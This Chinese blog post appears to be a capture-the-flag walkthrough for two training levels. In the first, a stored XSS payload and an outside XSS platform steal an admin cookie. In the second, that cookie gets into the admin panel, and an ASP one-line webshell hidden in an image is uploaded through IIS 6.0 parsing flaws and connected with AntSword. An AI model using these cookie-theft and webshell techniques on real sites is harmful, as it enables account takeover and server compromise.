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前言

四、为了更多的权限！留言板！

五、进击！拿到Web最高权限！

总结

前言前言

本来打算把尤里的复仇都做了，做到六就卡住了，不想做了，以后做了再写上来

第一章是简单的sql注入。第二章我的ModHeader似乎不起作用。。也没有做出来

四、为了更多的权限！留言板！四、为了更多的权限！留言板！

传送门：http://59.63.200.79:8004/Feedback.asp

Tips:
      1、存储型Xss
      2、flag在cookie里，格式为zkz{…}，xss bot 每10秒访问一次页面
      3、自建Xss平台源码：http://www.zkaq.org/?t/99.html
经过一番操作，尤里虽然进入到后台，窃窃自喜的他不满足于此，作为黑阔他要挑战曾经的自己，他要攻克之前失手的网站！

他重新浏览之前的网站，这时他突然发现了一个留言板功能。而留言板管理员是每天都会去查阅的。

尤里开始动手……

      打开网站，从tips可以知道留言板功能存在存储型XSS，在留言板的各个输入框都输入以下代码进行测试

 <script>alert("XSS")</script>

https://blog.csdn.net/weixin_44522540
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/weixin_44522540/article/details/113833000


发现有xss弹窗，这里我们在XSS平台上创建一个项目（平台链接：https://xss.pt/xss.php）

创建好后，勾选前两项

复制代码到可能存在注入的地方，然后回到XSS平台发现收到注入反馈



发现flag，提交

五、进击！拿到五、进击！拿到Web最高权限！最高权限！

传送门：http://59.63.200.79:8005/admin/default.asp



Tips:
      1、通过修改Cookie登录后台（没用重打）
      2、上传SHELL！
      3、Flag在web根目录（flag.php）
      4、上传图片时建议上传小文件，我建议用QQ表情
      尤里通过XSS终于得到了管理员Cookie，在修改了cookie后尤里直接绕过了登录密码，看到了后台功能！
      接下来要做的，就是找一个上传点，上传自己的shell了！

1、在XSS平台拿到第四关的cookie，删去flag=zkz{…},修改cookie，点击“准备好了吗”或者刷新进入后台

2、寻找上传点

在产品管理-添加产品中可以上传文件：

3、上传asp一句话图片木马

如何制作asp图片木马：
（1）找一张图片，名字改成1.jpg
（2）<%eval request(“pass”)%>存为1.asp 其中request为函数，pass是密码
（3）copy 1.jpg /b + 1.asp /a asp.jpg 存为1.bat文件（当前文件夹下cmd）



复制当前目录下的1.jpg图片和当前目录下的1.asp文件并以ASCII代码的方式合并为 asp.jpg图片，运行1.bat，就会出现一个图片
asp.jpg，现在这个asp.jpg就是已经做好的木马了。

（本来是asp.jpg，后面连接蚁剑有IIS解析漏洞，所以改成了.cer）

上传成功

4、蚁剑连接

405错误,IIS/6.0

IIS解析漏洞

目录解析

以*.asp命名的文件夹里的文件都将会被当成ASP文件执行。



文件解析

对于 *.asp;.jpg 像这种畸形文件名在";"后面的直接被忽略，也就是说当成 *.asp文件执行。

IIS6.0 默认的可执行文件除了asp还包含这三种 *.asa *.cer *.cdx

将图片木马后缀改为.cer再次上传

500错误，检查了一下shell type是php没有改成asp，重新选择后连接成功



找到flag.txt文件，打开得到flag

六七八九

总结总结

还要再加强，知识太匮乏了
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